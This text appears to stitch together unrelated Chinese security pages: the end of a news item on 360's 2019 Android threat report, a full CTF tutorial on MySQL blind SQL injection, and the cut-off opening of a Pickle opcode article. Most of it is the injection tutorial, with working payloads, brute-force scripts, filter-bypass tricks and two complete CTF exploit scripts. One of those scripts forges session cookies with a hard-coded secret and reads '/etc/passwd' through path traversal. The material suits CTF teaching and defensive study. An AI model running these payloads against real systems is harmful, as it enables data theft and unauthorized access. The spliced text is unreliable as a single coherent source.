其中，2019年360安全大脑拦截针对金融机构的钓鱼类银行恶意软件近300万次，10月和11月拦截量分别高达72.4万次和89.9万次。这可能是由于银行等金融机构为了在年末达成年度商业目标，揽储等活动更加频繁，因而针对移动金融机构攻击也随之递增。
同时，国内与国外针对移动金融行业的攻击形式不尽相同，国外主要遭受恶意软件的钓鱼攻击，而国内则是通过仿冒金融借贷类应用软件，以短信、网页广告和社交网络等形式广撒网，通过放款前收取工本费、解冻费、保证金、担保金等名目诈骗用户钱财。
从举报数量上看，金融诈骗的举报量最高，达3314例。而从人均损失上看，人均损失高达73953元的博彩诈骗占据榜首。
在针对移动流量产业攻击方面，因为流量的获取和分发是移动互联网最基本的入口，所有的业务和应用都架构在流量经济之上，所以基于流量转化的商业模式是决定企业成败的重要因素之一。流量转化离不开广告营销公司，而移动广告商使用不同的欺诈技术制造虚假流量，获得广告主的报酬。2019年中，模拟点击、点击劫持、移动设备劫持、移动设备仿真和IP地址仿真成为常见的移动广告欺诈形式。
而在针对移动社交领域的恶意软件攻击，不法分子则是利用揣摩特殊人群心里需求特点，使用虚假身份在社交过程中推送虚假信息，诱导充值进行诈骗。
目前社交需求日趋个性化与多元化，由于5G、人工智能、VR等技术的发展与变迁让声音、图片、视频等新型社交方式加快落地，所以大量的同城交友类应用软件中充斥着桃色陷阱。这类软件往往真假难辨，取证也是困难重重，给移动社交领域的良性发展带来不利影响。
## 移动互联网重要性日益凸显 移动端APT攻击全球泛滥
由于互联网的发展同时也对国家安全、军事斗争以及战争形态产生了重大而深远的影响，致使网络空间已成为与陆、海、空、天并列的第五维空间领域。随着网络争端的络续，网络战已成为国与国对抗的核心战场。而基于移动互联网的重要程度日益凸显，APT（移动高级威胁）组织攻击的目标也逐渐转向移动端。
在2019年，360烽火实验室公开披露的APT组织活动报告中，涉及移动端相关的APT组织活动报告达14篇，攻击目标领域涉及政治、经济、情报等多个重要板块。被提及受到移动APT组织攻击的受害者所属国家主要有中国、朝鲜、韩国、印度、巴基斯坦、以色列、叙利亚、伊朗、埃及等东亚、西亚、中东多个国家。
在此其中，APT行动与国家及地区间的政治摩擦密切相关，围绕地缘政治的影响日益显著。报告显示，2019年移动端以对政治目标刺探为目的APT攻击活动，主要围绕在亚太和中东地区，涉及朝鲜半岛、克什米尔地区、巴以冲突地区、海湾地区。
以经济利益为目的同样也是移动端高级威胁的发起缘由之一，在2019年中被披露的来自东亚的APT组织Konni和海莲花（APT-C-00）均受到广泛关注。
此外，2019年移动端APT攻击事件中，还体现出了部分国家内部局势动荡。主要体现在中东地区，针对国家内部持不同政见异见人群、反对派力量，以及一些极端主义活动倡导者的网络监控。监控内容包括，这些特殊人群的活动范围，预谋的破坏行动，以及控制舆论导向。
## 未来移动安全形势不容乐观 抵御威胁需多方协同联动
根据汇总CVE数据的网站出具的2019年度CVE
Details报告显示，Android系统以414个漏洞位居产品漏洞数量榜首，而Android漏洞在现实环境中被恶意软件利用的案例也屡见不鲜。由此不难看出，频频发生的移动端恶意软件攻击促使Android系统安全面临空前危机。
基于多方因素分析，报告还对Android恶意软件的未来四大发展趋势作出预测：5G时代的到来或将对未来战场产生深远影响；围绕重要领域的钓鱼攻击将不断增多；人脸、指纹过度采集导致生物信息安全建设急需加强以及企业采集、存储和使用数据规范亟待增强。
值得一提的是，Android系统安全是移动互联网安全版图的重要组成部分，而纵观整体报告不难预见，为抵御各类移动安全威胁，不仅需要系统厂商对于迭代技术的深耕，也需要政府监管部门对于各类违法违规应用的管控，更需要全民网络安全意识的提升。而作为网络空间雷达防御系统，360安全大脑也将积极赋能，助力打造各方协同联动的大安全生态，为全面守护移动互联网安全贡献力量。
## 360烽火实验室简介
作为全球顶级移动安全生态实验室，致力于Android病毒分析、移动黑产研究、移动威胁预警以及Android漏洞挖掘等移动安全领域及Android安全生态的深度研究，已全球首发多篇具备国际影响力的Android木马分析报和Android木马黑色产业链研究报告。实验室在为360手机卫士、360手机急救箱、360手机助手等产品提供核心安全数据和顽固木马清除解决方案的同时，也为上百家国内外厂商、应用商店等合作伙伴提供了移动应用安全检测服务，全方位守护移动安全。 | 社区文章 |
# 一文搞定MySQL盲注
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
无论是CTF还是实战渗透测试中，SQL注入都是一个非常热门的漏洞。通常人们根据SQL注入是否有回显将其分为有回显的注入和无回显的注入，其中无回显的注入顾名思义就是大家常说的盲注了。但是盲注不像union联合查询直接注出结果那么明了，利用起来也不是简单一两行SQL代码就可以完成，因此难度更大一些。
目前的CTF中MySQL的盲注依然是热点之一，然而盲注又被分成Like盲注、正则盲注、异或盲注等等太多类型，让新入门的萌新十分摸不到头脑。本文希望以言简意赅的语言帮助刚入门WEB
CTF的选手们快速“拿捏”MySQL盲注。
PS：其他关系型数据库(比如postgresql/sqlite)的盲注都大同小异，语法略有不同，会了MySQL然后再去看看其他数据库的语法和文档基本别的数据库就也会了。目前CTF中十有八九是MySQL，所以本文也就全部讲MySQL了。
## 0x01 盲注介绍
### 什么是盲注？
首先盲注是SQL注入的一种，SQL注入是指：WEB应用程序没有对用户的输入进行足够的安全校验，用户的输入被拼接进SQL语句并执行该SQL语句，由于用户输入了一些满足SQL语句语法的字符，拼接进SQL语句后执行最终导致数据库执行了本不应该被执行的非法操作。
举个例子（以下全文都用这个例子），一个学生信息查询系统，输入学生学号就会返回学生的姓名和专业，实际上就是执行的`SELECT name,majority
FROM student WHERE student_id = '$id';`
正常情况下用户输入的是一个学号，那么返回该学生的信息。如果用户输入的是`123' or '1'='1`，整个语句就变成了`SELECT
name,majority FROM student WHERE student_id = '123' or '1'='1';`会返回所有学生的信息。
而盲注是在SQL注入的基础上，根据SQL注入的回显不同而定义的。以上面这个例子为例，用户输入学号，WEB程序打印出该学生的姓名和专业，这个姓名和专业是数据库里存储的具体数据，而WEB程序将这个数据库里的数据原封不动的告诉
我们了，这种就叫有回显。而无回显是指，WEB程序不再告诉我们具体的数据了，可能只告诉我们说：“查询成功”、“查询失败”，甚至可能只说一句“查询完成”或者什么都不说。虽然我们并不能直接得到数据库中的具体数据，但是SQL语句的拼接发生了、非法的SQL语句也执行了，那么SQL注入就发生了，只是SQL注入的结果我们没有直接拿到罢了。
虽然是无回显的，但也并不意味着就无从下手了，盲注正是为了针对这种情况的！盲注更像是一种爆破、一种无脑测试，具体注入的时候，比如想注入数据库名，攻击者在做这样的事：
如果"数据库名"的第1个字母是a，你就说“查询成功”，否则就说“查询失败”
如果"数据库名"的第1个字母是b，你就说“查询成功”，否则就说“查询失败”
如果"数据库名"的第1个字母是c，你就说“查询成功”，否则就说“查询失败”
...
如果"数据库名"的第2个字母是a，你就说“查询成功”，否则就说“查询失败”
如果"数据库名"的第2个字母是b，你就说“查询成功”，否则就说“查询失败”
如果"数据库名"的第2个字母是c，你就说“查询成功”，否则就说“查询失败”
...
这样通过不断的测试，最终根据WEB程序返回的“查询成功”和“查询失败”，攻击者判断出了想注入数据的每一位是什么，那么就也能够得到这个数据的具体值了。最后补充一下，这里所说的“查询成功”和“查询失败”，是指WEB程序的回显，而这个回显基本上是由SQL语句查询是否成功（也就是SQL语句是否查询出数据）决定的，而SQL查询结构是被`WHERE`子句所控制的，所以攻击者一般就是对`WHERE`子句进行构造。
### 盲注有哪些分类？
总体来讲，盲注分为布尔型和延时型两大类。
布尔型就是上面所说的“查询成功”和“查询失败”，根据SQL语句查询的真和假，WEB程序有两种不同的回显，这两种不同的回显就被称为“布尔回显”。
延时型也就是所谓的时间盲注，即在无法通过布尔盲注判断的情况下，通过响应时长来判断。在做延时盲注时，攻击者构造的SQL语句是这样的意思：如果满足xx条件，就`sleep(5)`，否则就不sleep。数据库如果执行了`sleep()`就会延时，而WEB程序和数据库做交互就会等数据库的这个延时，用户(攻击者)和WEB程序做交互那么用户就也得等WEB页面的这个延时，所以攻击者只需要根据页面的响应时间的长短就可以判断xx条件是否满足了。而这个xx条件，可能就是“数据库名的第一位是否为a”这样的判断语句。
这里将布尔盲注又细分出了一个新的类型——报错盲注，这个报错盲注和我们通常说的报错注入是完全不同的东西，这种注入类型我们在后面再专门进行介绍。
## 0x02 盲注怎么注
### 盲注的步骤
前面一直是以抽象的中文来表示盲注的操作，这里我们使用SQL语句进行更详细的说明。
还是那个学生查询的例子：`SELECT name,majority FROM student WHERE student_id = '$id';`
其中`$id`为用户输入，假设为布尔盲注，回显为“查询成功”和“查询失败”。
**Step 1: 找注入点**
关于找注入点比较简单，学过SQL注入应该都会，如果题目给了源码就直接看着SQL语句构造就行了。
如果没有给源码，我们需要先测试字段类型是字符型还是数字型，然后看是否有回显，然后用`or
1=1#`之类的东西去测试。具体测试时，我们先想象他的SQL语句是`select xx from yy where zz = '$your_input';`
因为基本所有题的SQL语句都是这个结构，在这个SQL语句结构的基础上去测试就好了。
**Step 2: 构造condition**
所谓的condition就是某个条件，这个条件的真与假可以影响SQL语句的查询结果，进而影响WEB页面的回显。例如输入`0' or 1=1#`和`0' or
1=2#`(`#`是注释符)：
SELECT name, mojority FROM student WHERE student_id = '0' or 1=1#' #查询成功
SELECT name, mojority FROM student WHERE student_id = '0' or 1=2#' #查询失败
这里我们可以明确的知道student_id为0的学员是不可能存在的，那么上述SQL语句的查询结果就完全由`or`后面的`1=1`和`1=2`来决定了。SQL中`=`意为“是否相等”，所以`1=1`就表示`1是否等于1`,这是一个布尔表达式，它的结果只有True和False两种。
这个能直接影响整个SQL语句查询结果的`1=1`和`1=2`，也就是这个布尔条件表达式，就是我们目前Step 2要构造的condition。
**Step 3: 注数据**
现在我们只需要将Step 2构造的Condition换成具体的注入数据的语句，就可以了！
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'a'
SELECT name, mojority FROM student WHERE student_id = '0' or substr((select database()),1,1) = 'b'
....
### 布尔盲注中的布尔回显
1. 最常见的就是回显的内容不同，比如`查询成功`和`查询失败`，回显长度有时也可以
2. 返回的HTTP头的不同，比如结果为真可能会返回Location头或者set-cookie
3. 看HTTP状态码，比如结果为真则3xx重定向，为假则返回200
### 盲注脚本的编写
分析可知：
* 针对截取的每一位，都要把字母表跑一遍来判断是否相等，因此需要两层循环，外层循环为位数，内层循环为具体值。
* 对于注入不同的数据，只要修改内部子查询就好了，其他的部分不需要改动，因此可以把子查询写成一个单独的变量。
于是可以写出这样的注入脚本：
# 导入所需模块
import requests
import string
# 构造字母表，根据字母表去爆破每一位的具体值
alphabet = string.ascii_letters + string.digits + ",}{_="
# 题目的URL
url = "http://127.0.0.01/?student_id="
# 注入什么数据，select变量就写什么子查询语句
select = "select database()"
select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 用来保存注入出的结果
result = ""
for i in range(1,100): # 外层循环，从1开始，因为截取的位数是从1开始的
for ch in alphabet: # 内层循环，是具体需要测试的值
# 构造SQL语句，发起请求
payload = f"2019122001' and substr(({select}) ,{i},1) = '{ch}' %23"
r = requests.get(url=url+payload)
# 根据回显判断，如果得到了表示查询成功的回显，那么说明判断数据的这一位是正确的
if "查询成功" in r.text:
result += ch
print("注入成功：", result)
break # 这一位已经跑出来了，可以break掉然后下一轮循环跑下一位数据了
# 如果已经跑到了字母表最后一位都还没有进到上面的if然后break，说明这轮循环没跑出来正确结果，说明注入完成（或者注入payload写的有问题注入失败），脚本没必要继续跑下去了
if ch == alphabet[-1]:
print("注入完成")
exit(0)
虽然每个题目的注入脚本各有不同，但是基本都是这样的结构，可以根据这个脚本的结构来写你自己的注入脚本。
## 0x03 盲注的两个基本问题
### 两个基本问题是什么
通过上面的内容，你已经能够进行简单的盲注了，然而实际的题目中会加上各种各样的过滤，为了绕过这些过滤，盲注被分成了LIKE注入、MID注入、LEFT注入、正则注入、IN注入、BETWEEN注入等各种各样的注入类型，学习起来非常不便。==这其实是完全没有必要的！==
我们来观察这个注入语句`substr((select database()),1,1) = 'a'`,你会发现他实际上就是两个部分组成的：
1. 字符串截取，截取字符串的某一位
2. 比较是否相等
实际上所有的盲注都需要满足这两个部分，那么我们不妨就将其称为“盲注的两个基本问题”，即：
1. 字符串的截取
2. 比较
### 两个基本问题的必要性
既然是基本问题，就是不可或缺的、必须具备的。那么为什么说这是盲注的基本问题呢？我们可以反向分析。
**字符串的截取**
因为盲注是一种brute
force，所以我们可以计算一下爆破所需的次数。假设我们需要注入的数据是一个7位的包含大小写字母和数字的单词，那么每一位的可能性就是：26大写字母+26小写字母+10数字=62个字符。
将其截取成每一位然后判断，每一位最多62次就可以爆破出来，那么一共最多也就是`62x7=434`次就可以爆破出来了。
如果不截取成每一位，而是直接硬着头皮去爆破，那么就是`62^7=3521614606208`种可能性，`3521614606208 / 434 =
8114319369`，所需的工作量整整多了81亿多倍！
**比较**
这个没啥可说的，如果没法比较，就没办法根据条件的真假来影响SQL语句的结果进而影响WEB页面的回显，那就没法判断了！
## 0x04 字符串截取与比较的方法
上一个部分说了，我们没有必要将盲注分成LIKE注入IN注入什么什么那么多方法，总结下来只有两个基本问题。所以说各种各样的盲注的分类其实都跑不出这两个基本问题，那么其实只要我们能掌握所有的截取和比较的方法，我们就相当于是掌握了所有的盲注方法！
以下是我总结的目前已出现的字符串截取与比较的方法，如有其他欢迎补充。这里我们测试的注入数据是`select database()`，
结果为`college`
### 字符串截取方法
**substr()**
这是最最最最基本的截取函数！
使用方法：`substr(要截取的字符串，从哪一位开始截取，截取多长)`
注意，这里截取的开始位数是从1开始数的，比如截取第一位那么就写1而不是0。`substr`和`substring`是同名函数。
**mid()**
和`substr()`用法基本一样，是`substr()`完美的替代品。
**right()**
表示截取字符串的右面几位。
使用方法：`right(截取的字符串，截取长度)`
到了`right()`函数就不太好用了，因为`substr()`和`mid()`是精确截取某一位的，而`right()`不能这样精确的截取，他只能截取某些位。
技巧：和`ascii / ord`函数一起使用，`ascii()或ord()`返回传入字符串的首字母的ASCII码。`ascii(right(所截取字符串,
x))`会返回`从右往左数的第x位的ASCII码`，例如：
另外建议能用ASCII码判断时，就不要直接用明文字符进行判断，尽量用ASCII。理由如下：①如果直接用明文字符进行判断，有一些特殊符号（单引号反斜线等）会干扰整个SQL语句的语法。②ASCII将字符转成数字，数字可以用大于小于的判断，可以二分注入，而字符基本只能用等号判断（字符其实也可以大于小于判断，但是很麻烦，可以想象一下无列名盲注）。
**left()**
表示截取字符串的左面几位。
使用方法：`left(截取的字符串，截取长度)`
和`right`一样，依然是个不能精确截取某一位的函数，但是也可以利用技巧来实现精准截取。
技巧：和`reverse()` \+ `ascii() / ord()`一起使用。`ascii(reverse(left(所截取字符串,
x)))`会返回`从左往右数的第x位的ASCII码`，例如：
**regexp**
用来判断一个字符串是否匹配一个正则表达式。这个函数兼容了截取与比较。
使用方法：`binary 目标字符串 regexp 正则`
但是直接`字符串 regexp
正则表达式`是大小写不敏感的，需要大小写敏感需要加上`binary`关键字（`binary`不是`regexp`的搭档，需要把`binary`加到字符串的前面而不是`regexp`的前面，MySQL中`binary`是一种字符串类型）：
**rlike**
和`regexp`一样。
**trim()**
#### 注入方法
`trim()`函数除了用于移除首尾空白外，还有如下用法：
`TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)`
表示移除`str`这个字符串首尾（BOTH）/句首（LEADING）/句尾（TRAILING）的`remstr`
例如`trim(leading 'a' from 'abcd')`表示移除`abcd`句首的`a`， 于是会返回`bcd`
利用`TRIM`进行字符串截取比较复杂，在讲解之前我们需要明确一个点：例如`trim(leading 'b' from
'abcd')`会返回`abcd`，因为这句话意思是移除abcd句首的b，但是abcd并不以b为句首开头，所以`trim`函数相当于啥也没干。
为了讲解，这里我用`i`来表示一个字符，例如`i`如果表示`a`，那么`i+1`就表示`b`，`i+2`就表示`c`。注入时，需要进行2次判断，使用4个`trim`函数。第一次判断：
SELECT TRIM(LEADING i FROM (select database())) = TRIM(LEADING i+1 FROM (select database()));
我们知道`select database()`结果为`college`，比如现在`i`表示`a`，那么`i+1`就表示`b`，则`trim(leading
'a' from 'college')`和`trim(leading 'b' from
'college')`都返回`college`（因为college不以a也不以b为开头），那么这个`TRIM() =
TRIM()`的表达式会返回1。也就是说如果这个第一次判断返回真了，那么表示i和i+1都不是我们想要的正确结果。反之，如果这个`TRIM() =
TRIM()`的表达式返回了0，那么`i`和`i+1`其中一个必是正确结果，到底是哪个呢？我们进行二次判断：
SELECT TRIM(LEADING i+2 FROM (select database())) = TRIM(LEADING i+1 FROM (select database()));
在第二次判断中，`i+2`和`i+1`做比较。如果第二次判断返回1，则表示`i+2`和`i+1`都不是正确结果，那么就是`i`为正确结果；如果第二次判断返回0，则表示`i+2`和`i+1`其中一个是正确结果，而正确结果已经锁定在`i`和`i+1`了，那么就是`i+1`为正确结果。这是通用的方法，一般写脚本时，因为循环是按顺序来的，所以其实一次判断就能知道结果了，具体大家自己写写脚本体会一下就明白了。
当我们判断出第一位是`'c'`后，只要继续这样判断第二位，然后第三位第四位..以此类推：
SELECT TRIM(LEADING 'ca' FROM (select database())) = TRIM(LEADING 'cb' FROM (select database()));
SELECT TRIM(LEADING 'cb' FROM (select database())) = TRIM(LEADING 'cc' FROM (select database()));
SELECT TRIM(LEADING 'cc' FROM (select database())) = TRIM(LEADING 'cd' FROM (select database()));
......
**使用trim的例题**
第四届美团CTF初赛，EasySQL，我的EXP：
#!/usr/bin/env python3
#-*- coding:utf-8 -*- #__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import os
from urllib.parse import quote
import base64
def getsession(username):
def getcmd(cmd):
cmdpfx = '''python3 ./Y1ngTools/flask-session-cookie-manager/flask_session_cookie_manager3.py encode -s 'ookwjdiwoahwphjdpawhjpo649491a6wd949awdawdada' -t '''
return cmdpfx + f''' "{cmd}" '''
session = "{'islogin': True, 'pic': '../../../../../../etc/passwd', 'profiles': 'Administrator user, with the highest authority to the system', 'user': 'US3RN4ME'}"
session = session.replace('US3RN4ME', username.replace("'", "\\'"))
res = os.popen(getcmd(session)).read()
return res.replace('\n', '')
def readfile(r):
try:
res = r.text.split('base64,')[1].split("\" width=")[0]
except:
print("不存在")
exit(0)
print(base64.b64decode(res.encode()).decode('utf-8'))
burp0_url = "http://eci-2ze2ptl1d7s4w0vn6x9d.cloudeci1.ichunqiu.com:8888/home"
burp0_cookies = {"Hm_lvt_2d0601bd28de7d49818249cf35d95943": "1636507075", "__jsluid_h": "c7d0c61afe2b3dd7eaeaa660783dab2d", "session": ".eJxdjEEOgzAMBL9i-YzInVufElGDLYUY2Q4IVf17A8dKe5ud-aB40VUqTmGNBtxlxgnHMf1tN52TU1kS1UNMK_av6SKFvAuv9yZVPCyHGjQnG-CUYAgmYFmZPCC3YDWJC0If4JcHbb10C72S7wp-fyh_MkQ.YbSA5Q.vuB7TdIOHJjOxeb0QJe13mBgRkw"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close"}
def text2hex(s):
res = ""
for i in s:
res += hex(ord(i)).replace("0x", "")
return "0x" + res
select = 'select group_concat(column_name) from information_schema.columns where table_schema=0x637466'
select = 'select group_concat(f1aggggggg) from flagggishere'
# f1aggggggg
# table flagggishere
res = 'flag{'
for i in range(1,200):
for ch in range(40, 128):
payload = f"""' or trim(leading {text2hex(res+chr(ch))} from ({select}))=trim(leading {text2hex(res+chr(ch+1))} from ({select}))='1""".replace(' ', '/**/')
burp0_cookies['session'] = getsession(payload)
r = req.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
try:
if 'Who are you?' in r.text.split('''<h2>Profiles:''')[1]:
res += chr(ch+1)
print("[*] 注入成功", res)
break
else:
print(ch)
except Exception as e:
print(r.text)
if ch == 127:
print("[*] 注入完成")
exit(0)
**insert()**
虽然字面意思为插入，其实是个字符串替换的函数！
用法：`insert(字符串，起始位置，长度，替换为什么)`
在进行字符串截取时，可以实现精确到某一位的截取，但是要对其进行变换，具体原理大家可以自己分析，这里直接给出使用方法：
SELECT insert((insert(目标字符串,1,截取的位数,'')),2,9999999,''); # 这里截取的位数从0开始数
使用`INSERT()`进行注入的exp脚本可以看后面报错盲注的例题。
### 比较方法
**=> <**
最基本的比较方法！
**LIKE**
基本上可以用来替代等号，如果没有`% _`之类的字符的话。
**RLIKE / REGEXP**
上面截取时候已经讲过了，正则是截取+比较的结合体。
**BETWEEN**
用法：`expr BETWEEN 下界 AND 上界;`
说明：表示是否`expr >= 下界 && exp <= 上界`，有点像数学里的“闭区间”，只是这里的上下界可以相等，比如expr是2，那么你没必要写`2
between 1 and 3`，完全可以写成`2 between 2 and 2`。所以`x between i and
i`就是表示`x是否等于i`的意思。
**IN**
用法：`expr1 in (expr1, expr2, expr3)`
说明：有点像数学中的元素是否属于一个集合。同样也是大小写不敏感的，为了大小写敏感需要用`binary`关键字。
示例：
**AND和减法运算**
`and` 也可以用`&&`来表示，是逻辑与的意思。
在盲注中，可以用一个true去与运算一个ASCII码减去一个数字，如果返回0则说明减去的数字就是所判断的ASCII码：
**OR和减法运算**
`or` 也可以用`||`来表示，是逻辑或的意思。
在盲注中，可以用一个false去或运算一个ASCII码减去一个数字，如果返回0则说明减去的数字就是所判断的ASCII码：
**异或注入**
虽然也可以做比较，比如：
但是异或更多应用在不能使用注释符的情况下。注入时，SQL语句为`SELECT xx FROM yy WHERE zz =
'$your_input';`因为用户的输入后面还有一个单引号，很多时候我们使用`#`或者`--`直接注释掉了这个单引号，但是如果注释符被过滤了，那么这个单引号就必须作为SQL语句的一部分，这时可以这样做：
WHERE zz = 'xx' or '1'^(condition)^'1';
而对于`'1'^(condition)^'1'`这个异或表达式，如果condition为真则返回真，condition为假就返回假
上面开始时讲的盲注的步骤，找到这个condition后，我们只要将condition换成具体的注入语句(也就是字符串截取与比较的语句)就可以了。所以异或的好处是：能够让你自由的进行截取和比较，而不需要考虑最后的单引号，因为异或帮你解决了最后的单引号。
在没有注释符的情况下，除了异或，还可以用连等式、连减法式等等！根据运算中condition返回的0和1进行构造就行了。
**CASE**
两种用法：
CASE WHEN (表达式) THEN exp1 ELSE exp2 END; # 表示如果表达式为真则返回exp1，否则返回exp2
CASE 啥 WHEN 啥啥 THEN exp1 ELSE exp2 END; # 表示如果(啥=啥啥)则返回exp1，否则返回exp2
CASE一般不用来做比较，而是构造条件语句，在时间盲注中更能用到！
## 0x05 延时盲注
### 基本利用-sleep
**基础利用**
用法：`sleep(延时的秒数)`
一般情况下，使用`if`或`case`构造条件表达式进行延时：
if((condition), sleep(5), 0);
CASE WHEN (condition) THEN sleep(5) ELSE 0 END;
**无if和case的解决办法**
假设`if`和`case`被ban了，又想要根据condition的真假来决定是否触发`sleep()`，可以将condition整合进`sleep()`中，做乘法即可:
sleep(5*(condition))
如果condition为真则返回1，`5*(condition)`即`5*1`为5，延时5秒；如果condition为假则返回0，`5*(condition)`即`5*0`为0，延时0秒。
### Bypass方法
**benchmark**
是替代`sleep`的首选。
用法：`benchmark(执行多少次，执行什么操作)`
通过修改执行的次数和执行的操作(比如`sha1(sha1(sha1(sha1())))`这样多套几层)，可以精准控制延时时间。
**笛卡尔积**
也就是所谓的HEAVY QUERY，用的不多。
**get_lock**
可以精准控制延时时间，但是不好用，因为需要维持MySQL的会话，基本用不到。
**正则**
通过正则的状态机不断进行状态转换，增加比配的时长，打到延时的目的。例如：
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
### 写脚本的技巧
很多人喜欢这样写脚本：
start_time = int(time.time())
requests.get(url)
end_time = int(time.time())
if end_time - start_time > 3: # 用开始时间和结束时间做差
print("延时发生了，注入成功")
这其实非常不好！因为我们发现了除了`sleep`其他基本都不太能精准控制延时时长，这样写脚本就是：你延时多久我就等你多久。太慢了！如果一次延时要一个小时，你也要等他一个小时吗？很明显不太明智，等你注完黄瓜菜都凉了。
正确的写延时盲注脚本的方法应该是：
try:
requests.get(url, timeout=3)
except:
print("延时发生了，注入成功")
我们利用`timeout=3`设置了一个3秒的超时，如果超时会抛出Exception。这样写代码的好处是：就算它要延时一年，我们也就等他3秒钟，然后就开始下一轮循环了，不用陪着MySQL延时，大大提高了脚本的效率。
## 0x06 报错盲注
### 报错盲注介绍
看这样一个题目的代码：
$con = new mysqli($hostname,$username,$password,$database)
$con->query("select username, password from users where username='$username' and password='$password'");
if ($con->error) {
die("ERROR")
} else die("查询完成");
可以发现这是一个符合延时盲注条件的题目，因为题目没有根据查询结果的真假进行不同的布尔输出。但是题目同时ban掉了所有延时盲注所需的关键字，这时怎么办呢？
我们注意到，它会根据MySQL的query是否出错来选择是否输出ERROR，这其实就是布尔回显，因此报错盲注依然是布尔盲注的一种，但是他又和传统布尔盲注有显著的不同。
为了解决这个问题，如果我们能做到如下的操作就可以进行布尔盲注了：
if( condition, 报错, 不报错)
case when (condition) then 报错 else 不报错 end
问题就是，这个我们手工构造的报错应该如何来搞呢？
### 手工报错的方法
**exp(99999)**
`exp(x)`返回`e^x` 也就是e的x次方。所以`exp(x)`实际上就是f(x)=e^x^
既然是指数函数，增长率是很大的，那么就很容易变得很大，大到MySQL无法承受就报错了：
**cot(0)**
余切三角函数
**pow(99999,999999)**
和C语言一样，是用来求平方的，我们依然利用数太大导致报错这个思路：
### 优化
我们可以发现，报错盲注和延时盲注很像，延时盲注是“条件满足就sleep”，报错盲注是“条件满足就error”，那么如果`if`和`case`被ban了，如何进行报错盲注呢？
**exp**
我们发现`exp(1) exp(2)`这些是ok的，而`exp(9999)`就报错了，不免会问：`exp`的临界值是多少？是709
基于此我们可以让709加上一个condition，或者710减去一个condition。也可以利用`sleep()`用的乘法思想。
condition真则报错：
exp((1=1)*9999)
exp(709+(1=1))
condition假则报错：
exp(710-(1=2))
**cot**
思路参考`exp`的，不详细说了。
condition真则报错
cot(1-(1=1))
condition假则报错：
cot(1=0) # 直接把条件放cot()函数里
**pow**
condition真则报错：
pow(1+(1=1),99999)
condition假则报错：
pow(2-(1=1),99999)
### 例题
在2021年11月左右的第四届“强网”拟态挑战赛的决赛中，有一道叫adminprofile的题目，大概是思路是：
1. `INSERT()`截取+报错盲注，注出密码
2. 登录，通过AJAX找接口，发现任意读
3. 读源码，justSafeSet模块存在原型链污染漏洞
4. AST Injection RCE
第一步的注入大概是过滤了`if case exp cot`和好多字符串截取和比较的关键字。注入的exp如下：
#!/usr/bin/env python3
#-*- coding:utf-8 -*- #__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import time
url = 'http://ip:port/'
s = req.session()
def sqli():
res = ''
for i in range(0,20):
for j in range(0, 100):
j = 130-j
data = {
'password' : f"'||pow((2-(ord(insert((insert(password,1,{i},'')),2,99999,''))-{j})),9999999999999)#"
}
r = req.post(url=url+'login', data=data)
if 'error' not in r.text:
res += chr(j+1)
print(res)
break
if j == 31:
print("注入完成, 密码是", res)
return res
def login(password):
data = {'password' : password}
r = s.post(url=url+'login', data=data, allow_redirects=False)
if str(r.status_code)[0] != '3':
print("登录失败")
exit(0)
print("登录成功")
if __name__ == '__main__':
login(sqli())
题目没有复现环境，主要参考exp中所使用的payload，以及脚本的写法。
## 0x07 Bypass
上面其实已经讲了很多Bypass的方法，比如各种截取和比较的方法其实都是用来做bypass的，这里再简单总结一些其他的
### 空格
**行内注释（推荐）**
100%用来替代空格
`select/*woshizhushi*/id/**/from/**/student;`
**换行符（推荐）**
`%0d%0a`也是不错的替代空格的方法。
**括号**
`select(id)from(student);`
但是括号不能去括一些mysql自带的关键字，例如不能把`from`括起来，不作为首选的绕过方法。
**反引号**
对于表名和列名可以用反引号包裹起来。
select`id`from`student`;
### select关键字
**mysql8.0**
在MySQL 8.0版本中，`table student` 等价于 `select * from student;`
**在当前的表查其他字段**
在对当前表的列名注入时，可以直接写字段名，而无需`select 该字段 from 该表`
select * from student where student_id = '2019122001' and ascii(substr(name,1,1))>0; # 这里name直接写，而不需要写成select name from student
### 单引号和字符串
**没有单引号就没有字符串，如何写字符串？**
1.字符串的十六进制形式
`'abc'` 等价于 `0x616263`
2\. `unhex()`与`hex()`连用
`'abc'` 等价于`unhex(hex(6e6+382179));` 可以用于绕过大数过滤（大数过滤：`/\d{9}|0x[0-9a-f]{9}/i`）
具体转换的步骤是：①`abc`转成16进制是`616263` ②`616263`转十进制是`6382179` ③用科学计数法表示`6e6+382179`
④套上`unhex(hex())`，就是`unhex(hex(6e6+382179));`
没有单引号没办法做SQL注入的参数逃逸
1\. 宽字节注入
2\. 转义法
条件是：用户可以控制一前一后两个参数
方法是：前面的参数输入`\`转义掉单引号，后面参数逃逸出来
例如：`select * from users where username = '\' and password = 'and 1=1#'` | 社区文章 |
## 0x00 TL; DR
本文将通过分析今年几道通过手写Pickle opcode实现bypass的题目总结手撕Pickle的一些tips
以及通过遍历Python AST自动化生成Pickle opcode
repo地址`https://github.com/eddieivan01/pker`
## 0x01 Pickle简述
网上资料已经很多了，我就不再向互联网填充冗余信息了（可学习文末链接）
只总结Pickle的几个特点：
* 非图灵完备的栈语言，没有运算、循环、条件分支等结构
* 可以实现的操作
* 构造Python内置基础类型（`str`, `int`, `float`, `list`, `tuple`, `dict`）
* `dict`和`list`成员的赋值（无法直接取值）
* 对象成员的赋值（无法直接取值）
* `callable`对象的调用
* 通过`_Pickler.find_class`导入模块中的某对象，`find_class`的第一个参数可以是模块或包，本质是`getattr(__import__(module), name)`
* 版本保持向下兼容，通过opcode头解析版本
* 0号protocol使用`\n`作操作数的分割
## 0x02 Opcode简述
